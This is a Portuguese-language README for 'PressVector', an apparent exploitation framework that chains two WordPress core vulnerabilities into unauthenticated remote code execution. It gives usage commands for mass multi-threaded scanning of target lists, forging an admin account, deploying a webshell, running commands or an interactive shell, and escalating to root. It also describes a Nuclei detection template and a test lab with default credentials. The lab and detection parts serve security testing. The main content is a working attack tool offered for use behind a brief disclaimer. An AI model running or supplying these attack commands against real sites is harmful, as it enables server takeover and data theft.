
PressVector - Scanner Avançado de Vulnerabilidades WordPress CVE-2026-63030 (confusão de rota em lote REST) / CVE-2026-60137 (SQLi) Desenvolvedor: Vulnquest
⚡ Framework Avançado de Exploração de RCE Pré-Autenticação e SQLi Cega para o Núcleo do WordPress
PressVector é um framework de exploração abrangente e totalmente automatizado voltado para CVE-2026-63030 e CVE-2026-60137 — duas vulnerabilidades críticas no núcleo do WordPress que, combinadas, permitem execução remota de código sem autenticação.
O framework encadeia a Confusão de Rotas em Lote da REST com uma injeção SQL cega para forjar sessões de administrador, implantar webshells e executar comandos arbitrários no sistema operacional — tudo sem quaisquer credenciais.
⚠️ Apenas para testes de segurança autorizados e fins educacionais.
CVE-2026-63030 é uma vulnerabilidade crítica de RCE pré-autenticação no núcleo do WordPress, descoberta por Adam Kues (Assetnote / Searchlight Cyber). O exploit encadeia duas vulnerabilidades independentes:
| CVE | Aviso | Tipo | Impacto |
|---|---|---|---|
| CVE-2026-63030 | GHSA-ff9f-jf42-662q | Confusão de Rotas em Lote da REST | RCE Pré-Autenticação |
| CVE-2026-60137 | GHSA-fpp7-x2x2-2mjf | Injeção SQL em author__not_in | SQLi Cega Pré-Autenticação |
[Unauthenticated Attacker]
│
▼
[1] REST Batch Route Confusion (/batch/v1)
│ Bypass auth context — treat batch as internal
▼
[2] Blind SQLi via author__not_in parameter
│ Time-based binary search extraction
▼
[3] Extract table prefix + admin user ID
│
▼
[4] Forge admin user via UNION-based injection
│ Insert into wp_users + wp_usermeta
▼
[5] Authenticate & Upload webshell via Media API
│
▼
[6] Remote Code Execution 🎯
| Versão do WordPress | CVEs Aplicáveis | Impacto | Status |
|---|---|---|---|
| 6.8.0 – 6.8.5 | CVE-2026-60137 | 🟡 SQLi Cega (Alta) | ❌ Vulnerável |
| 6.9.0 – 6.9.4 | CVE-2026-63030 + CVE-2026-60137 | 🔴 RCE Pré-Autenticação (Crítica) | ❌ Vulnerável |
| 7.0.0 – 7.0.1 | CVE-2026-63030 + CVE-2026-60137 | 🔴 RCE Pré-Autenticação (Crítica) | ❌ Vulnerável |
| 7.1-alpha / 7.1-beta1 | CVE-2026-60137 | 🟡 SQLi (Alta) | ❌ Vulnerável |
| 6.8.6+ / 6.9.5+ / 7.0.2+ | — | ✅ Corrigido | ✅ Seguro |
# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector
# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help
pressvector.py — Framework Principal de ExploraçãoFramework de exploração completo com 4 modos de operação.
scan — Scanner de Vulnerabilidades Multi-alvoScanner rápido e multi-threaded para detectar instalações WordPress vulneráveis em escala.
# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com
# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10
# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json
check — Confirmação de SQLi CegaConfirme injeção SQL cega baseada em tempo em um único alvo com calibração de temporização.
# Check a single target
python pressvector.py check http://target.com
# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5
exploit — Cadeia Completa de Exploração RCEExploração completa: forjar admin → implantar webshell → executar comandos.
# Execute a single command
python pressvector.py exploit http://target.com -c "id"
# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i
# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080
# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup
privesc — Escalação de PrivilégiosTenta a escalação local de privilégios após obter RCE.
# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i
# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup
pressvector-wp2shell-detection.yaml — Template de Detecção NucleiUm template Nuclei pronto para produção para detecção passiva em larga escala.
# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com
# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt
# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50
Recursos do template:
Está incluído um laboratório de testes de penetração totalmente automatizado e contentorizado para testes seguros e isolados destas vulnerabilidades.
Windows (PowerShell):
cd pressvector-lab
.\start-lab.ps1
Linux / macOS:
cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh
(Aguarde ~60-90 segundos na primeira execução para que o instalador do WP-CLI configure todos os sites WordPress automaticamente).
| Porta | Serviço | Versão do WordPress | Vulnerabilidade / Status |
|---|---|---|---|
| 8080 | Alvo 1 | 6.8.5 | CVE-2026-60137 (Apenas SQLi Cega) 🔴 |
| 8081 | Alvo 2 | 6.9.4 | CVE-2026-63030 (RCE Pré-Autenticação) 🔴 |
| 8082 | Alvo 3 | 7.0.1 | CVE-2026-63030 (RCE Pré-Autenticação) 🔴 |
| 8083 | Referência | Mais recente | Corrigido / Referência Segura ✅ |
| 8084 | PHPMyAdmin | — | Ferramenta de Gerenciamento de BD |
| 8085 | Painel do Laboratório | — | Interface Web com status dos alvos e comandos copiáveis 🖥️ |
Credenciais de Administrador: admin / admin123
Senha Root do MySQL: root
Você pode verificar todo o estado do laboratório e os caminhos de exploração usando a suíte de testes automatizados:
# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py
stop-lab.sh ou .\stop-lab.ps1reset-lab.sh ou .\reset-lab.ps1Para instruções mais avançadas e solução de problemas, consulte o Lab README.